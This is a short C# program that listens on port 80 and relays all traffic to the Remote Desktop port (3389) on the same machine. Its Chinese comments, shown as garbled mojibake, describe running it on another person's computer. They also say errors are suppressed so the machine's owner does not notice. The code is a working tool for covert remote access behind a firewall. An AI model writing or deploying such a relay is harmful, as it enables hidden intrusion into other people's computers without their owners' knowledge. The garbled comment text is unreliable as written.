using System;
using System.Net.Sockets;
using System.Threading;
namespace PortTransponder
{
  class Program
  {
    static void Main(string[] args)
    {
      TcpListener tl = new TcpListener(80);
//這里開(kāi)對(duì)方可以被你連接并且未被占用的端口
      tl.Start();
      while (true)
//這里必須用循環(huán)，可以接收不止一個(gè)客戶
//因?yàn)槲野l(fā)現(xiàn)終端服務(wù)有時(shí)一個(gè)端口不行就換一個(gè)端口重連
      {
//下面的意思就是一旦程序收到你發(fā)送的數(shù)據(jù)包后立刻開(kāi)2個(gè)線程做中轉(zhuǎn)
        try
        {
          TcpClient tc1 = tl.AcceptTcpClient();
//這里是等待數(shù)據(jù)再執(zhí)行下邊，不會(huì)100%占用cpu
          TcpClient tc2 = new TcpClient("localhost", 3389);
          tc1.SendTimeout = 300000;
//設(shè)定超時(shí)，否則端口將一直被占用，即使失去連接
          tc1.ReceiveTimeout = 300000;
          tc2.SendTimeout = 300000;
          tc2.ReceiveTimeout = 300000;
          object obj1 = (object)(new TcpClient[] { tc1, tc2 });
          object obj2 = (object)(new TcpClient[] { tc2, tc1 });
          ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj1);
          ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj2);
        }
        catch { }
      }
    }
    public static void transfer(object obj)
    {
      TcpClient tc1 = ((TcpClient[])obj)[0];
      TcpClient tc2 = ((TcpClient[])obj)[1];
      NetworkStream ns1 = tc1.GetStream();
      NetworkStream ns2 = tc2.GetStream();
      while (true)
      {
        try
        {
//這里必須try catch，否則連接一旦中斷程序就崩潰了
//要是彈出錯(cuò)誤提示讓機(jī)主看見(jiàn)那就囧了
          byte[] bt = new byte[10240];
          int count = ns1.Read(bt, 0, bt.Length);
          ns2.Write(bt, 0, count);
        }
        catch
        {
          ns1.Dispose();
          ns2.Dispose();
          tc1.Close();
          tc2.Close();
          break;
        }
      }
    }
  }
}